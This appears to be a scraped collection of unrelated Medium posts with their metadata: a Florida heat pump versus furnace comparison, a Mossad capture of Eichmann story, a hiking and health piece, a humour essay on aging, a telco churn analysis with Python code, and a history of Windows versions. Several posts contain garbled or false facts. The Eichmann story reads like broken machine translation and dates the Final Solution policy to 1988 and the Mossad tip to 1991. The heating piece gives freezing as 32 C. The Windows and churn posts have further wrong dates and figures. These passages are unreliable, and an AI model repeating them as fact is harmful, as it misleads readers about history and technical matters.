originally published here It’s a good time to consider your heating options, now that summer beach weather is paused. We are often asked for input on if whether it’s better to warm a Florida home using a heat pump or furnace. The answer to this requires examining a few aspects of your home and gain more insight into the differences of a heat pump and furnace. Here’s what the experts from Reynold’s Air and Heat use to determine the best recommendation for our customers. How Is a Furnace Different From a Heat Pump? A heat pump collects heat from the air, water, or ground and transfers it inside your home. In Florida, most residents use an air source version of the pump, whereas a furnace makes heat. This heat is then dispersed throughout your home using ductwork, fans and other measures. A heat pump is ideal for areas who experience mild winters. Should You Purchase a Heat Pump or Furnace? Most cities in Florida only endure a handful of days that go below freezing (32 C), According to the Southeast Regional Climate Center. Tallahassee sees an average of over 30 days below freezing. Heat pumps work best in temperatures between 40–50 C, so the question is where do you live in Florida; how well you can handle a few cold days in your home? Cost of a Heat Pump and Fuel Costs Another factor is the cost of fuel compared to the cost of electricity. Heat pump systems cost more initially compared to a furnace, but the lower cost of electricity as compared to gas saves utility expenses and helps recoup some of the upfront costs over time. If you live in an area that typically stays above freezing, then a heat pump can adequately warm your home. Other Factors to Decide on Purchasing a Heat Pump or Furnace: Is your home in Florida your main residence? Does your home already have a furnace or heat pump? Are you building a new home or updating an older home? If you have a furnace, what type of fuel does it use? There are always ways to save energy and reduce the monthly heating bill. Discover energy tips that apply to all homes, regardless of whether you use a heat pump or furnace. If you are looking to install a heat pump in your Florida home give us a call. Reynolds Air and Heat, located in Brevard County, FL offers free estimates and military discounts.

https://medium.com/@brevardctybest/heat-pump-vs-furnace-which-should-you-choose-54ff1c94bb0d

['Brevard Countyfl']

2019-06-17 22:19:48.917000+00:00

['Heat Pumps', 'Florida', 'Hvac', 'Furnace']

How did Mossad catch the killer of six million Jews?

How did Mossad catch the killer of six million Jews? Today’s date is related to a court ruling under which a pauper was sentenced to death. His crime was the murder of six million innocent Jews. He was a very special survivor of Hitler. He was arrested outside Hitler’s defeat but quickly escaped from prison. For the next ten years, Mossad also followed him. Then he was kidnapped and brought to Israel and justice was done. This story is by Adolf Eichmann. Mastermind of the final solution, now what is this final solution. It was a code name. Operation of the where abouts of the Jews who came under German occupation during the Second World War. The policy of the final solution was made in the 1988 Business Conference. Adolf Eichmann’s job was to identify the Jews, collect them, and then fill them in the train and send them to the death camp. Where gas chambers would have been waiting for them. What Adolf Eichmann did with his work, his experience of killing Jews was old. Earlier he used to do the same thing in Austria and Paraguay. By the end of the Second World War, some six million Jews had been killed. Hitler shot himself in his closed room as soon as the Nazi Empire disintegrated. He was aware of his death and arrested those who survived. All of them were tried and convicted according to the crime. But Adolf Eichmann was nowhere in these trials. He was arrested but escaped from the jail by dodging. He had no idea since he escaped. Then came the year 1948. Israel became the first Prime Minister for Jews, David Ben-Gurion became the first Prime Minister. David Ben-Gurion wanted to create a central agency that co-ordinates with the rest of the Security Service. In March 1951, the structure of Mossad was changed. Since then the agency started reporting directly to the Prime Minister. Mossad’s roles also changed over time. In 1991, Mossad received a news from Argentina. The news was that Adolf Eichmann was staying there and the news was confirmed. Now Mossad began his operation and agents were sent to Argentina. Complete information was received after performing watching for several months. Adolf Eichmann was living near the capital Buenos Aires by the name of Ricardo Clement. The killer of six million Jews was living a peaceful life. There was no extradition treaty between Argentina and Israel, so it was not possible to legally transport Adolf Eichmann to Israel, but it was necessary to take him as well. When Mossad started looking for opportunity, the opportunity came in May 1960. Argentina was celebrating 150 years of revolution against Spain. Tourists from all over the world were arriving in Argentina. Some agents entered the country disguised as Tourists. After this complete planning was done. The day of operation was kept on 11 May. Adolf Eichmann used to come home by bus every evening. A few hundred meters from where the bus used to stay, where it was inside. It was decided that Adolf Eichmann would be knocked unconscious on this path. He stopped waiting for them, two trains were kept ready. Now Adolf Eichmann was just waiting. She arrived at the scheduled time but did not have Adolf Eichmann. Was Mossad this plan going to fail? The agent decided to wait for some more time in this. The next bus arrived half an hour later. By then everyone’s beating had become very fast. They were eagerly watching and this time a short middle aged man got off the bus and headed towards the same path where the Mossad agent’s trains were ready. He was the exact same man. The agents immediately got into their work, they caught Adolf Eichmann in the car and left immediately. Adolf Eichmann was kept at the Mossad Safe House. This operation had to be kept hidden for the next nine days. The next flight from Argentina to Israel was scheduled on 20 May. If the Argentine government had known the safe house in the middle, then not only the life of the Mossad agent would have been endangered, but even such a big target would have been lost forever. Several occasions came when the entire operation reached the verge of failure but the agent handled the case with his understanding. On May 20, everyone boarded the flight. Adolf Eichmann’s getup was changed, he was rendered unconscious by medication. Airport Security was told that he was an Israeli airline worker and suffered a severe head injury. In this way, Adolf Eichmann was taken to Israel. Read More…

https://medium.com/@expressindian123/how-did-mossad-catch-the-killer-of-six-million-jews-2a73c24c0d3d

['Ruhi Ali']

2020-12-16 04:37:54.418000+00:00

['Israel', 'World War II', 'Adolf Eichmann', 'Jews', 'Mossad']

Why Hiking is the Perfect Form of Exercise

Good news! Not only is hiking one of the most fun activities you can do on your days off — it’s also insanely good for your health! Physically speaking… Hiking is a world-class cardio workout. And, like any cardio workout, hiking protects the body from numerous life-threatening illnesses. Heart Disease: According to the CDC, heart disease is the number one killer of both men and women in the U.S. Heart disease claims an American life every 36 seconds — or over 650,000 American lives per year. Heart disease is no joke — make the choices to live a healthy lifestyle (while having fun too!) to lower your risk. Blood pressure: High blood pressure is running rampant in the U.S., with nearly one in three Americans having a hypertension diagnosis, or in layman’s terms, high blood pressure. Hypertension can also lead to a heart attack, stroke, and other health complications — all while going undetected. Regular physical activity, such as hiking, can lower your blood pressure by 10 points or more. Bone Density: As people age or become increasingly sedentary, our body’s rate of calcium loss tends to accelerate, resulting in one’s bones becoming increasingly susceptible to breaking. Because hiking is a weight-bearing exercise, it can help reverse this trend by strengthening your bones and boosting bone density when done regularly. Strengthen your legs, core, and balance: Because of the uneven terrain, occasional (or frequent) uphill and downhill angles, and the few extra pounds you may be carrying in a day pack — hiking activates more muscles throughout your body than your typical walk. Strong legs, core, and balance translate to so many other things — regular life will become easier. And if you’re a calorie counter like me — check this out: Hiking burns about 200 calories per mile (on the low end!). Which is about 2x more than walking and 1.5x more than running the same distance. Hit the hills to turn calorie burning into calorie scorching. According to President of the American Hiking Society, Gregory A. Miller (PhD), noted that a 5% — 10% incline can burn an additional 30% — 40% calories. Not only that, but you burn an additional 1% per extra pound of weight that you carry (i.e. if you carry a 15-pound day pack, you’ll burn an additional ~15% calories!) Did someone say mental health too? Yes, oh yes indeed. Research has shown that hiking can help combat the effects of anxiety, stress, and boost your mood. Miller reminds us, “Being in nature is ingrained in our DNA, and we sometimes forget that.” Maybe it’s the beautiful views, maybe it’s the time spent with friends, or maybe it’s the satisfaction of pushing your body on a challenging hike. Or maybe, even after all of that, there really is something deeper at play, deep in our bones and DNA, that makes hiking the perfect type of exercise. Thanks, and happy hiking! Erian Gutierrez Follow me on Instagram here. P.S. If you’re gearing up for your next adventure or prepping for potential disasters, take a peek at our catalog and see if there is anything you need to complete your kit or stow away for the future. — Sources Heart Disease Facts by CDC.gov Hiking for Health by TrailKeeper.org Doctors Tell Us How Hiking Can Change Our Brains by Marilyn Rogers

https://medium.com/@e.gut2014/why-hiking-is-the-perfect-form-of-exercise-dae920db569a

['Erian Gutierrez']

2020-10-13 00:52:24.960000+00:00

['Nature', 'Workout', 'Health', 'Exercise', 'Hiking']

Three Generations of Butts

Hair whitens. Butts droop. Arms sag. Aging is not a pretty picture, is it? And it’s even less pretty when you’re in a dressing room with all those mirrors that don’t hide anything. Rather, they emphasis all those parts of your body which you’d like to imagine looked differently. But those mirrors don’t lie. I was faced with that painful truth when I went shopping with my ninety-something mother and my thirty-something daughter. Three generations of women made from the same mold. The similarities were still there, but the differences were hard to ignore. Years ago, my butt was as firm and ripe as a melon, just like my daughter’s. My thighs were smooth, void of those craters and bumps making one think of the moon surface. My arms didn’t have that flabby effect. My hair was a natural blonde. After looking from my daughter to myself, I wanted to bolt out of that room. In fact, I wanted to bolt out of 2019 and into 1990. Then I looked at my ninety-four-year mom. And felt even worse. I saw where my body was going! And I’m not convinced that any amount of exercise can stop it from happening. (Although, I don’t think I’ll ever wear old lady under panties). While I was lamenting the state of my future body, my daughter blurted out. “Ugh, I hate my waist.” Me: “Your waist is perfect. Look at this extra skin around mine.” My mother: “What are you two talking about? I’m one big wrinkle. My butt is flatter than melted butter. And my boobs are like bananas.” With that, we all started laughing. There was no age difference in our giggles. Just three happy women, trying to find a decent pair of jeans that hugged our bodies in just the right way. No matter what that body looked like. And we were determined to succeed. Because no matter our age, we all want to look good when facing the world. Make no buts about it.

https://medium.com/the-haven/three-generations-of-butts-ae87fd5f3d7e

['Janie Emaus']

2019-09-23 14:41:03.830000+00:00

['Humor', 'Self Love', 'Shopping', 'Body Image', 'Mothers And Daughters']

Fighting Telco Customer Churn Problem : A Data-Driven Analysis

Banks, Phone service companies, Internet service providers, insurance firms often use customer churn (or customer turnover) analysis and rate as one of their key business metrics. Customer retention appears to be far less costly than customer acquisition. While loyal customers may drive down costs, new clients are worth it only if their customer lifetime value (CLV) is high enough to support their acquisition costs. Businesses are interested in voluntary churn which occur due to the company-customer relationship. This relation depends on factors companies can control, such as billing, pricing or quality of the service, etc. In this blog, I will propose a solution to fight churn for a telephone service company based on Telco Customers data set, available on Kaggle. In a first part, I will run an exploratory data analysis (EDA) to understand both what drives customers to stay and leave the company to lead the most valuable retention program. Then, I will build a Logistic regression model to predict churning customers. Finally, I will suggest business strategies based on the previous analysis to target churning customers and evaluate, through a simple simulation, how useful the Machine Learning model developed can help Telco. The full code source, available in my github repository, is implemented using Pandas, Numpy and Scikit-learn Outline : 1. What drives customers to stay and leave ? 2. Detecting Churn 3. Solve Churn Problem 4. Conclusion 1. What drive customers to stay and leave ? 1.1 Data Description The data set contains informations about Telco customers where each row represents a unique customers and the columns are informations regarding customers’services. The column “Churn” indicate whether the customer left the company within the last month. There are a total of 7032 customers in the dataset among which 1869 left within the last month. With a churn rate that high, i.e 26.58%, Telco may run out of customers in the coming months if no action is taken. 1.2 Descriptive analysis In order to determine which services/features discriminate loyal customers from the others, the data set is split in two groups : churning customers and loyal ones. comparison of charges and tenure between loyal (first row) and disloyal customers (second row) Monthly Charges : An important proportion of loyal customers bring between $20 and $25 each month while disloyal ones tend to pay more important charges, i.e, between $50 and $100 . These figures may indicate that cheap packages are a proxy for customer retention. : An important proportion of loyal customers bring between and each month while disloyal ones tend to pay more important charges, i.e, between and . These figures may indicate that cheap packages are a proxy for customer retention. Total Charges and Tenure : Both distributions of total charges are heavyskewed, with most customers who paid quite low total amount of charges. Since most loyal customers are low-costs ones, it explains the relative low amount of total charges. The tenure distribution of churning customers explains this low amount, as it describes an important proportion of short-term clients who left the company in relatively small window time frame, i.e, 2 months. Note : The histograms highlight a peak frequency at max(tenure) = 72 months (6 years), which may suggest that the dataset considers that long run customers who stayed more than 72 months are included in the dataset with tenure = 72 months. Hence, people with the maximum stay are considered as acquired customers : retention should not be focused on them. Comparison of contracts and phone services between loyal (first row) and disloyal customers (second row) Contract : While a huge proportion ( 88.6% ) of churning clients chose month-to-month contracts, the distribution of type of contracts is quite balanced among the others. These are non-binding contracts allowing the customer to leave the company whenever it fits to him. This may describe two category of customers. They represent tourists passing through with the sole need/purpose to use the phone company services for a limited amount of time or represent customers in search of a new phone company who try several for a short time. : While a huge proportion ( ) of churning clients chose month-to-month contracts, the distribution of type of contracts is quite balanced among the others. These are allowing the customer to leave the company whenever it fits to him. This may describe two category of customers. They represent with the sole need/purpose to use the phone company services for a limited amount of time or represent of a new phone company who try several for a short time. Internet Service : Similarly, internet services are quite balanced among loyal customers while most disloyal ones tend to prefer the Fiber optic option, which is probably the most expensive one, explaining why disloyal customers tend to pay more monthly charges than others. Furthermore, it is reasonable to think that passing through tourists are more interested in Internet services than other ones. : Similarly, internet services are quite balanced among loyal customers while most disloyal ones tend to prefer the Fiber optic option, which is probably the most expensive one, explaining why disloyal customers tend to pay more monthly charges than others. Furthermore, it is reasonable to think that passing through tourists are more interested in Internet services than other ones. Phone Service : As expected there is no significant difference regarding the choice of using a phone service or not between the two type of customers since Telco is a phone company. Hence, most customers request this company for its phone services mainly. Social segmentation of customers Effect of having a partner and/or a phone services on monthly charges : Subscribing to a phone service increases monthly charges, as expected. They are even higher when a client has a partner : it may exist some discount family packages rather than individual subscriptions as half of the customers with a partner tend to have multiples lines. However, we notice that the variance is higher when subscribing to a phone service : this is expected as having a Phone service (main service for the company) just serves as a basis, and customers monthly charges differenciate themselves from others on extra services they choose. Those effects are similar in both groups of clients, with a slight difference regarrding the variance of monthly charges. : Subscribing to a phone service increases monthly charges, as expected. They are even higher when a client has a partner : it may exist some discount family packages rather than individual subscriptions as half of the customers with a partner tend to have multiples lines. However, we notice that the variance is higher when subscribing to a phone service : this is expected as having a Phone service (main service for the company) just serves as a basis, and customers monthly charges differenciate themselves from others on extra services they choose. Those in both groups of clients, with a slight difference regarrding the variance of monthly charges. Do low-cost and premium customers represent different generations? Most customers in the whole data base are senior citizens (83.76%). The proportion of senior citizen is lower among churning customers, which may be explained by the fact that young people tend to be more volatile than older ones. Still, the difference is not significant enough to draw conclusions. 2. Detecting Churn In this part , I will develop a ML model to predict customers who are potential Churn candidates in order to take action to change this behavior. 2.1 One-hot encoding of categorical variables Most features are categorical variables. Hence, we decide to use dummy variables encoding to obtain “machine-readable” data. We avoid dummy variable “trap” by making sure to create only k-1 dummy variables out of k categorical levels. binary_columns=["Partner","Dependents","PhoneService","MultipleLines","PaperlessBilling","OnlineSecurity","OnlineBackup","DeviceProtection", "TechSupport","StreamingTV","StreamingMovies"] for c in binary_columns: data[c] = data[c].map(lambda x : 1 if x =='Yes' else 0) data = pd.concat([data,pd.get_dummies(data["PaymentMethod"],prefix="Pay")], axis=1) data= data.drop(columns="PaymentMethod") 2.2 Data normalization In order to avoid weights, from its dimensions, affecting the results, we normalize our features. from sklearn.preprocessing import MinMaxScaler scaler = MinMaxScaler() data = pd.DataFrame(scaler.fit_transform(data),columns=data.columns) 2.3 Train / Validation / Test We split the data set in train, validation and test set. The train set represents 75% of the full data set and the validation and test set represent the remaining 25% combined. They distributed again as 75% for validation set and 25% for test. X_train, X_test, y_train, y_test = train_test_split(data.drop(columns="Churn"), data["Churn"], stratify=data["Churn"], random_state=42) X_valid, X_test, y_valid, y_test = train_test_split(X_test, y_test, stratify=y_test, random_state=42) Note : Because the data set is highly imbalanced, we use stratified sampling to ensure that the train, validation and test sets have approximately the same percentage of samples of each target class as the complete set. 2.4 Naive Classifiers Before building our machine learning model, it is important to understand why we actually need it. Hence, we will analyse two naive models which either decide to consider that all customers are about to churn and take action against these behaviours or keep “status quo”, i.e, do nothing and lose all customers who were supposed to leave. Note : These two classifiers are run directly on the test set since there is no training involved. We will use a Confusion Matrix which summarizes the test results from a supervised model. The results of a prediction from a test set, where we know the actual (true) and predicted labels are put in two axis. On one axis we have the True labels, as given by the test set, on the other, the predictions as given by the model. It allows us to see the true positives (TP), true negatives (TN) — correctly predicted values — and the false positives (FP) and false negatives (FN) — incorrectly predicted values. everyone_churn = np.ones_like(y_test) print_confusion_matrix(y_test, everyone_churn) Accuracy Score: 0.26590909090909093 Recall Score: 1.0 Precision Score: 0.26590909090909093 Confusion matrix of Naive classifier which always output “Yes Churn” As we can see, a naive classifier which consider that each customer will churn is not good at all as we will have to spend extra money on a business strategy to keep each customer in our database. Lot of money is wasted: 323 out of 440 were not churning customers but we spent money on them. nobody_churn = np.zeros_like(y_test) print_confusion_matrix(y_test, nobody_churn) Accuracy Score: 0.7340909090909091 Recall Score: 0.0 Precision Score: 0.0 Confusion matrix of Naive classifier which always output “No Churn” Similarly, a classifier which always output “No” is not good enough neither as our main statement was that customer retention is less expensive than capturing new customers. With this strategy, we lose too many customers, i.e, 117 out of 440 were actually churning customers but our classifier missed to spot them. We would need to spend extra money to replace lost customers. 2.5 Choice of metric We observed that we need to determine a balance between a classifier which takes no action and another who raises too many alarms. In the following, we will present different metrics and choose the right one specific to our business problem. Accuracy measures how well our model predicts all the classes, regardless of balance. It is the ratio of “correctly predicted” results, versus the entire sample, defined by : (TP + TN)/(TP + TN + FP + FN) measures how well our model predicts all the classes, regardless of balance. It is the ratio of “correctly predicted” results, versus the entire sample, defined by : (TP + TN)/(TP + TN + FP + FN) Precision is the fraction of predictions that are correctly predicted. Hence, it is the probability that a (randomly selected) customer is actually about to churn : TP / (TP + FP) is the fraction of predictions that are correctly predicted. Hence, it is the probability that a (randomly selected) customer is actually about to churn : TP / (TP + FP) Recall is measure the share of true values that have been correctly predicted. It is the probability that a (randomly selected) “about to Churn”-customer is retrieved in a search : TP / (TP + FN) is measure the share of true values that have been correctly predicted. It is the probability that a (randomly selected) “about to Churn”-customer is retrieved in a search : TP / (TP + FN) F1 is the harmonic mean of Precision and Recall, usually a good metric of the balance between the two metrics. In our scenario, we are more interested in recall as we want to make sure we capture as many churning customers as possible, even though we may raise a lot of false alarms (false negative, i.e, people who don’t churn) as retaining a customer is less expensive than capturing a new one. Note : we still keep in mind that we do not want a naive classifier always saying “Yes Churn”. Hence, we must pay special attention to choose a threshold such that the precision score is not too low neither. 2.6 Building our classifier : Logit model We decide to use a Logit model classifier among other existing models for its simplicity and interpretability. It is trained running a grid-search along with 5-fold cross validation to tune the hyperparameters on the train set. The validation set is used to select the right threshold using a precision-recall curve. param_grid = {'penalty' : ['l1', 'l2'],'C' : np.logspace(-1, 1, 10), 'solver' : ['liblinear']} clf = LogisticRegression() gs = GridSearchCV(clf, param_grid, cv=5, n_jobs=-1, verbose=0, scoring="recall") gs.fit(X_train, y_train) y_score = gs.decision_function(X_valid) precision, recall, thresholds = precision_recall_curve(y_valid, y_score) plt.plot(thresholds, precision[:len(precision)-1], label='precision', ls = 'dashed') plt.plot(thresholds, recall[:len(recall)-1], label='recall', ls = 'dashed') plt.legend() plt.title('Precision and Recall scores as a function of the decision threshold') plt.xlabel('Threshold') plt.ylabel('Metrics value') plt.grid() Precision-recall curve We want the recall as high possible while making sure the precision is not too low. A threshold of -1.5 allows us to reach a recall-score of more than 80% while making sure precision is not too low (minimum 40%). #this computes a new set of y_pred based on a different threshold, which we set on the decision function y_pred_threshold =(gs.decision_function(X_test)>=-1.5).astype(bool) print_confusion_matrix(y_test,y_pred_threshold) Accuracy Score: 0.7113636363636363 Recall Score: 0.905982905982906 Precision Score: 0.4774774774774775 Confusion matrix of Logit Model Our classifier reached a recall score of 90.60% with a precision score of 47.75% on the test set. It allowed us to spot 106 out of the 117 churning customers. Hence, we would need to spend extra money to replace only 11 customers in comparison to the previous cases. Furthermore, 116 out of the 323 non-churning customers were classified as churning ones by our classifier which is still better than the previous models. 2.7 Feature importances We use Logit model coefficients to obtain feature importances. It allows us to gain insights about factors making the decision between churning customers and loyal ones. estimator = gs.best_estimator_ class_labels = gs.classes_ weights = estimator.coef_[0] weights_index = np.argsort(weights)[::-1] ... Most important feature used to predict churn with their weights -------------------------------------- TotalCharges : 2.41194855716856 InternetYes : 1.595887533016741 FiberOptic : 1.5259884507415054 StreamingTV : 0.5433665554921124 StreamingMovies : 0.4998150502828606 ----------- tenure : -3.8768426607650053 MonthlyCharges : -3.005716293889124 Contract_Two year : -1.0917173045943789 Pay_Bank transfer (automatic) : -0.4199272308407312 Pay_Credit card (automatic) : -0.4148894319496611 It seems that internet and streaming services, most expensive ones, are factor making the decision for churning customers. On the other hand, it seems that the longer a customer has been in the company, the more likely he is to stay in. Monthly charges and long-terms contracts seem to play an important role too, as already observed during the descriptive analysis. 3. Solving the Churn Problem In order to reduce the churn rate, the following items may be taken into account by the owners of Telco : Charges : Even though, low charges are a proxy for loyal customers, it may be one of the most sensitive factor to change as it impacts directly the income of Telco Company. However, we noticed that customers with a partner do pay more than the others. Hence, it may be interesting to offer family packages with discounts or goodies to justify high prices. : Even though, low charges are a proxy for loyal customers, it may be one of the most sensitive factor to change as it impacts directly the income of Telco Company. However, we noticed that customers with a partner do pay more than the others. Hence, it may be interesting to offer family packages with discounts or goodies to justify high prices. Contracts : We observed that most churning customers were offered short-term contracts, i.e month-to-month. This is not good for Telco as it allows the customers to be often tempted by new offers in the market. A solution would be to either remove these short-term contracts and offer only long-term ones, or promote long-term contracts with lower monthly charges than short ones. Furthermore, it may be interesting to create loyalty program with bonus points : the longer you stay in the company, the higher the discount on new devices, smartphones and subscriptions. : We observed that most churning customers were offered short-term contracts, i.e month-to-month. This is not good for Telco as it allows the customers to be often tempted by new offers in the market. A solution would be to either remove these short-term contracts and offer only long-term ones, promote long-term contracts with lower monthly charges than short ones. Furthermore, it may be interesting to create with bonus points : the in the company, the on new devices, smartphones and subscriptions. Premium Services : Internet and video-streaming services seem to be the most costly, henceforth the most valuable ones for the company. Specifically, they represent the most requested services by passing through tourists or customers looking for a new partnership. It may be interesting to change these services prices as “an exchange” for loyalty. The owners may offer significant differences in price for Fiber optic, for example, depending on the type of contract you choose. It allows to balance the loss of these passing through clients (as it seems complicate to keep them in the business) by making a huge profit at once. We design a simple simulation with the following assumptions : For each lost customer , Telco would invest $200 in Marketing, ads, targeting emails and campaigns to replace him. (customer acquisition) in Marketing, ads, targeting emails and campaigns to replace him. (customer acquisition) For each predicted churning customer, they would invest $50 on discount and other advantages to retain him. def cost(clients_to_retain, clients_to_obtain) : return 50*clients_to_retain + 200*clients_to_obtain ... sns.catplot(x="Strategy", y="Cost ($)", kind="bar", data=all_costs, palette=["red", "yellow", "green"]) plt.title("Associated cost for each strategy taken") plt.savefig("strategies_cost.png") plt.grid() Summary results of all three models Cost associated to each customer retention strategy 4. Conclusion During our analysis, we managed to identify key factors which led potential customers to churn using descriptive analysis. We proposed a Logistic regression model with a recall at 90.60% to minimize Telco’s company cost for customer retention. Our model in comparison to the current state of affairs allowed Telco to save $15900. Thanks for reading ! Please make sure to like/share this blog and comment your reading experience. Have any questions ? Feel free to contact me via Linkedin or follow me on Github for other interesting projects.

https://medium.com/@thevie/fighting-telco-customer-churn-problem-a-data-driven-analysis-e7c61cfae0dd

['Thevie Mortiniera']

2019-08-04 16:28:52.570000+00:00

['Machine Learning', 'Churn', 'Customer', 'Metrics', 'Python']

The Evolution of Windows OS

Microsoft Windows was found by Bill Gates on 10th of November 1983. Windows was introduced as a graphical user interface for MS-DOS. Windows versions began with Windows 1.0 and the current version of Windows is Windows 10 and it was marked as the last version of Windows to be traditionally released. Here are the most highlighted versions of windows. Windows 1.x Windows 1.0 The first windows version, Windows 1.0 was released on 20th of November 1985. It was not a complete operating system but was an operating environment. It had a 16-bit graphical user interface and relied heavily on use of a mouse even the use of mouse was not much popular in that time. The OS included some graphical programs like Windows Paint, a simple word processor, a notepad, an appointment calendar, a control panel, a computer terminal, chipboard, a card filer, a clock a RAM driver, the MS-DOS Executive and a game called Reversi. Windows 2.x Windows 2.0 Windows 2.0 was released on 9th of December 1987. It was a 16-bit GUI based operating environment and included 16- color VGA graphics. It used the real-mode memory model of 1MB. The main feature was the windows were able to overlap each other. It introduced more sophisticated keyboard shortcuts and also new graphical applications, Excel and Word were introduced. It introduced the terminology of “Minimize” and “Maximize”, as opposed to “Iconize” and “Zoom”. It was licensed as a commercial software. Windows 3.0 Windows 3.0 Windows 3.0 was launched in 22nd of May 1990 as an operating environment. It introduced a new GUI feature, clickable icons. The icons can be moved and arranged in any order, and the icons title can be renamed. Most of the simple programs were retained but improved. the game Reversi was complimented by a card game “Microsoft Solitare”.the application “Help” and the ability to run MS-DOS programs were introduced. Windows 3.0 with Multimedia Extension 1.0 was released in October 1991 with higher system requirements and comprising a CD-ROM drive and a sound card. This was licensed as a commercial software. Windows 3.1x Windows 3.11 Windows 3.1x was introduced as a 16-bit operating environment for personal computers on 6th of April 1992. TrueType fonts making windows was introduced and Internet Explorer 5 was introduced for Windows 3.1. It allowed supported MS-DOS programs to be controlled with a mouse for the first time. Windows 3.1 required a 1MB to run. It was licensed as a commercial software. Windows NT 3.x Windows NT 3.1 Windows NT 3.1 Workstation arrived on 27th of July 1992. It was the first Windows operating system based on hybrid kernel. It was processor-independent, multiprocessing and multi user operating system. It was written in C, C++ and Assembly language. NT was shortened for “New Technology”. The main feature here was hardware and software portability. It used a 32-bit flat virtual memory addressing on 32-bit processors for the first time. Windows NT 3.x went through three versions as 3.1, 3.5 and 3.5. it was licensed as trailware, commercial software, volume licensing, OEM-only and S+S. Windows 95 Windows 95 Windows 95 was released on 15th of August 1995, it used AI-32 platform and Monolithic kernel type. It was a 16/32 bit hybrid operating system. It introduced the concept of plug and play. It introduced the start button and the start menu for the first time. It was licensed as a proprietary and commercial software. Windows NT 4.0 Windows NT 4.0 Windows NT 4.0 is a part of Microsoft Windows NT operating systems and was released on 31st July 1996. It used IA-32, Alpha, MIPS and PowerPC platforms. It came in four versions as Windows NT 4.0 Workstation, Windows NT 4.0 Server, Windows NT 4.0 Server, Enterprise Edition and Windows NT 4.0 Terminal Server. Windows NT 4.0 introduced the system policies and the system policy editor. It was licensed as a commercial proprietary software. Windows 98 Windows 98 Windows 98 was initially released on 25th of July 1998. It was a 16/32 bit hybrid monolithic product with the boot stage based on MS-DOS. It introduced the back and forward navigation buttons and the address bar in Windows Explorer but the main feature was the Windows Driver Model which was a single driver that support all future versions of Windows. Windows 98 included improved USB support for hardware advancements. It was licensed as a commercial software. It was licensed as a commercial software. Windows 2000 Windows 2000 Windows 2000 was released on 17th February 2000 as a part of Windows NT family. It was available in four editions as Windows 2000 Professional, Windows 2000 Server, Windows 2000 Advanced Server and Windows 2000 Datacenter Server. It was the first Windows operating system to support hibernation. It had an automatic updating feature. It used AI-32 platform and a hybrid kernel. It was licensed as a commercial proprietary software. Windows Me Windows Me Windows Me was initially released on 19th of June 2000 (Me is shortened for Millennium Edition). It was a part of Windows 9x family of operating systems and the last Windows to be based on MS-DOS and Windows 9x family. It introduced some automatic system recovery tools. It included Internet Explorer 5.5, Windows Media Player 7 and a new Windows Movie-Maker software for the first time. And several Windows Explorer commands were removed with some other features in other software. Windows Me was entirely aimed at home users. It was licensed as a Commercial Software. Windows XP Windows XP Windows XP was released on 25th of October 2001. It was a combination of Windows 2000, Windows Me and Windows NT. It used IA-32, x86–64 and Itanium platforms and Hybrid kernel. It used Windows XP’s interface with new visual appearance. “visual styles”, drop shadows and alpha composting effects were used. The most popular Windows’s default wallpaper, “Bliss” took its first appearance in the operating system. The start menu was switched to two column layouts with the ability to list, pin and display frequently opened documents and the traditional cascading “All Programs” menu. Windows XP existed for 13 years, the longest running operating system. It used “prefetching” to improve startup and application launch times. Windows Product Activation was introduced (a copy protection system). Internet Connection Firewall was added to existing network features with more others. It was licensed as a proprietary commercial software. Windows Vista Windows Vista Windows Vista was released on 30th of November 2006. The main difference of Windows Vista from the others was the original start button was replaced with the Windows icon in a circle (Start Orb). A chess, Mahjong and Purble gaming software, Windows Calendar and Windows DVD Maker were introduced. it included speech recognition and was the first Windows to be distributed on DVD. It used IA-32 and x86–64 platforms and a Hybrid kernel. It had few bugs and was slow on older computers. Windows Visa shipped in six different editions as Windows Vista Starter, Windows Vista Home Basic, Windows Vista Home Premium, Windows Vista Business, Windows Vista Enterprise and Windows Vista Ultimate for consumers and business. It used four distinct visual styles, Windows Aero, Windows Vista Standard, Windows Vista Basic and Windows Standard. It was licensed as a proprietary commercial software. Windows 7 Windows 7 Windows 7 was released on 22nd of July 2009 as part of Windows NT family. It was fast in booting than previous. It shipped in six editions as Windows 7 Starter, Windows 7 Home Basic, Windows 7 Home Premium, Windows 7 Professional, Windows 7 Enterprise and Windows 7 Ultimate. Widows 7 used IA-32 and x86–64 platforms and a hybrid kernel. It was advanced in touch and handwriting recognition. Windows Photo Gallery, Windows Movie Maker, Windows Calendar and Windows mail were removed among some features in other programs. It supported virtual hard disks. It was licensed as a proprietary commercial software. Windows Home Windows Home Windows Home Server 2011 was released on 6th of April 2011 and was designed for small office/home offices and homes with multiple connected PCs. It used x86–64 platforms and a hybrid kernel. It included more entertainment capabilities and an add in feature with an app store. It required at least 2GB RAM to operate. It was licensed as a proprietary commercial software. Windows 8 Windows 8 Windows 8 was released on 26th of October 2012. There was a major changes with the user interface and the operating system’s platform and became more touch friendly. It was introduced to smartphones. It used IA-32, x64 platforms and a hybrid kernel. It was able to update using many ways as Windows Update, Windows Store and Windows Server Update Services. It was faster than previous versions and supported USB 3,0 devices. The start screen was designed as tiles that display programs and updated content. But the new user interface was difficult to learn. Later Windows 8.1 released on 14th of May 2013, re-introducing the Start button. The start button brought the start Screen from the desktop view and users were directly boot into the desktop view. So, it was more user friendly for the users with the mouse and keyboard. It was licensed as a Trialware, Microsoft Software Assurance, MSDN subscription and DreamSpark. Windows 10 Windows 10 Windows 10 was released on 29th of July 2015 as a part of Windows NT family of operating systems and still use today. It was announced as the last version of Windows to be traditionally released. Instead of releasing new version Windows 10 keeps updating twice a year as “Creators Update” and “Fall Creators Update”. It is written in C, C++, C# languages. It uses IA-32, x86–64, ARMv7 and ARM64 platforms and a Hybrid kernel. It targets the personal computing market. It continues with the traditional Start menu. It was available in 110 languages. Windows 10 is able to switch between keyboard and mouse mode and a tablet mode. Windows Update in Windows 10 download all updates and install automatically, it does not allow selective installation. It was licensed as trialware, Microsoft software assurance, MSDN subscription and Microsoft Imagine. References — https://en.wikipedia.org

https://medium.com/@bimalics/the-evolution-of-windows-os-1dd8b594c7ea

['Bimali Wickramasinghe']

2020-05-11 20:28:00.389000+00:00

['Windows Versions', 'Windows 7', 'Windows 10', 'Operating Systems', 'Windows']

Driverless Vehicles Will Never Take Over Transportation

